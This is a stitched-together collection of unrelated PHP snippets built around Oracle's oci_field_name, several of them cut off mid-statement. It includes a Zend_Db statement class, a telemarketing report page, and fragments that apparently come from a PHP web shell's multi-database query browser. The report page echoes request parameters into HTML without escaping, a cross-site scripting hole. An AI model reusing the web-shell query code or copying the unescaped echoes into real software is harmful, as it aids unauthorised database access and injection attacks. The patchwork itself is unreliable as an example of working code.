class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>\n\t\t\t\t\t\t<table class=\"explore\" style=\"width:99%;\"><tr>"; for ($i = 1; $i <= oci_num_fields($st); $i++) { $q_result .= "<th>" . htmlspecialchars(oci_field_name($st, $i)) . "</th>"; } $q_result .= "</tr>"; while ($rows = oci_fetch_array($st)) { $q_result .= "<tr>"; for ($j = 0; $j < oci_num_fields($st); $j++) { if ($rows[$j] == "") { $dataz = " "; } else { $dataz = $rows[$j]; } $q_result .= "<td>" . htmlspecialchars($dataz) . "</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>";
/** * Executes a prepared statement. * * @param $params * @return void * @throws Zend_Db_Statement_Oracle_Exception */ public function execute($params = null) { $connection = $this->_connection->getConnection(); if (!$this->_stmt) { $sql = $this->_joinSql(); $this->_stmt = oci_parse($connection, $sql); } if (!$this->_stmt) { throw new Zend_Db_Statement_Oracle_Exception(oci_error($connection)); } if ($params && is_array($params)) { $error = false; foreach (array_keys($params) as $name) { if (!oci_bind_by_name($this->_stmt, $name, $params[$name], -1)) { $error = true; break; } } if ($error) { throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt)); } } if (!oci_execute($this->_stmt, $this->_connection->_getExecuteMode())) { throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt)); } $this->_keys = array(); if ($field_num = oci_num_fields($this->_stmt)) { for ($i = 1; $i <= $field_num; $i++) { $name = oci_field_name($this->_stmt, $i); $this->_keys[] = $name; } } $this->_values = array(); if ($this->_keys) { $this->_values = array_fill(0, count($this->_keys), null); } }
$FE_ESTADO_DESDE = $_REQUEST["FE_ESTADO_DESDE"]; $FE_ESTADO_HASTA = $_REQUEST["FE_ESTADO_HASTA"]; if (!empty($FE_ESTADO_DESDE) && !empty($FE_ESTADO_HASTA)) { include dirname(__FILE__) . "/queries/query_controlTK.php"; $query1 = oci_parse($c, $query); oci_execute($query1); echo "<input type=\"hidden\" value=\"{$FE_ESTADO_DESDE}\" id=\"FE_ESTADO_DESDE\" />\n<input type=\"hidden\" value=\"{$FE_ESTADO_HASTA}\" id=\"FE_ESTADO_HASTA\" />\n<div class='container'>\n\t<div class='sixteen columns'>\n\t\t<div id='page-title'>\n\t\t\t<h2>Control TeleMarketing</h2>\n\t\t\t<div id='bolded-line'></div>\n\t\t</div>\n\t</div>\n</div>\n<div class='container'>\n\t<div class='sixteen columns'>\n\t\t<div class='field'>\n\t\t\t<input type=\"button\" id=\"boton_descargar_control\" onclick=\"controlTK()\" value=\"Descargar Planilla de Control TeleMarketing (Excel)\"/>\n\t\t</div>\n\t</div>\n\t<div class='sixteen columns'>\n\t\t\t<h3>Carga entre el {$FE_ESTADO_DESDE} y el {$FE_ESTADO_HASTA}</h3>\n\t</div>\n</div>\n<div class='container'>"; $NUM_COL = 0; $NUM_HREF = 0; echo "<div class='sixteen columns'>"; echo "<h3><a href=\"controlTK.php\">Volver Atrás</a></h3>"; echo "<table class='standard-table'>"; $ncols = oci_num_fields($query1); echo "<tr>\n"; for ($i = 1; $i <= $ncols; ++$i) { $colname = oci_field_name($query1, $i); echo " <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n"; } echo "<th><b>Ver más</b></th>"; echo "</tr>\n"; while ($row = oci_fetch_array($query1, OCI_BOTH + OCI_RETURN_NULLS)) { //Genero las columnas dinamicamente echo "<tr>"; while ($NUM_COL < $ncols) { if ($NUM_COL == 0) { $FLAG = $row[$NUM_COL]; if (substr($FLAG, 0, 3) == 'Con' || substr($FLAG, 0, 3) == 'Sin') { echo "<td><span class=\"control\">" . $row[$NUM_COL] . "</span></td>"; } else { echo "<td>" . $row[$NUM_COL] . "</td>"; }
function querY($type, $host, $user, $pass, $db = '', $query) { $res = ''; switch ($type) { case 'MySQL': if (!function_exists('mysql_connect')) { return 0; } $link = mysql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mysql_select_db($db, $link); } $result = mysql_query($query, $link); while ($data = mysql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mysql_num_fields($result); $i++) { $res .= mysql_field_name($result, $i) . '[-][-][-]'; } mysql_close($link); return $res; } break; case 'MSSQL': if (!function_exists('mssql_connect')) { return 0; } $link = mssql_connect($host, $user, $pass); if ($link) { if (!empty($db)) { mssql_select_db($db, $link); } $result = mssql_query($query, $link); while ($data = mssql_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < mssql_num_fields($result); $i++) { $res .= mssql_field_name($result, $i) . '[-][-][-]'; } mssql_close($link); return $res; } break; case 'Oracle': if (!function_exists('ocilogon')) { return 0; } $link = ocilogon($user, $pass, $db); if ($link) { $stm = ociparse($link, $query); ociexecute($stm, OCI_DEFAULT); while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < oci_num_fields($stm); $i++) { $res .= oci_field_name($stm, $i) . '[-][-][-]'; } return $res; } break; case 'PostgreSQL': if (!function_exists('pg_connect')) { return 0; } $link = pg_connect("host={$host} dbname={$db} user={$user} password={$pass}"); if ($link) { $result = pg_query($link, $query); while ($data = pg_fetch_row($result)) { $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|'; } $res .= '[+][+][+]'; for ($i = 0; $i < pg_num_fields($result); $i++) { $res .= pg_field_name($result, $i) . '[-][-][-]'; } pg_close($link); return $res; } break; } return 0; }
function printResult($result) { echo "<table>"; $ncols = oci_num_fields($result); for ($i = 1; $i <= $ncols; $i++) { $colname = oci_field_name($result, $i); echo "<th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n"; } while (($row = oci_fetch_array($result, OCI_ASSOC + OCI_RETURN_NULLS)) != false) { echo "<tr>\n"; foreach ($row as $item) { echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "(null)") . "</td>\n"; } echo "</tr>\n"; } echo "</table>"; }
} echo "<td><a href='inicio_vermas.php?ESTADO={$NUM_HREF}'>Ver más</a></td>"; echo "</tr>"; $NUM_COL = 0; $NUM_HREF++; } echo "</table>\n"; echo "</div>"; oci_free_statement($Duplicados1); echo "<div class='sixteen columns'>"; echo "<h3>Procesos Automaticos</h3>"; echo "<table class='standard-table'>"; $ncols = oci_num_fields($Controles1); echo "<tr>\n"; for ($i = 1; $i <= $ncols; ++$i) { $colname = oci_field_name($Controles1, $i); echo " <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n"; } echo "</tr>\n"; while ($row = oci_fetch_array($Controles1, OCI_BOTH + OCI_RETURN_NULLS)) { //Genero las columnas dinamicamente echo "<tr>"; while ($NUM_COL < $ncols) { if ($NUM_COL == 1) { if ($row[$NUM_COL] == 0) { echo "<td class=\"vacio\">" . $row[$NUM_COL] . "</td>"; } else { echo "<td class=\"lleno\">" . $row[$NUM_COL] . "</td>"; } } else { echo "<td>" . $row[$NUM_COL] . "</td>";
function fieldName($stmt, $n) { return oci_field_name($stmt, $n); }
/** * Returns metadata for all columns in a result set. * @return array */ public function getResultColumns() { $count = oci_num_fields($this->resultSet); $columns = []; for ($i = 1; $i <= $count; $i++) { $type = oci_field_type($this->resultSet, $i); $columns[] = ['name' => oci_field_name($this->resultSet, $i), 'table' => NULL, 'fullname' => oci_field_name($this->resultSet, $i), 'nativetype' => $type === 'NUMBER' && oci_field_scale($this->resultSet, $i) === 0 ? 'INTEGER' : $type]; } return $columns; }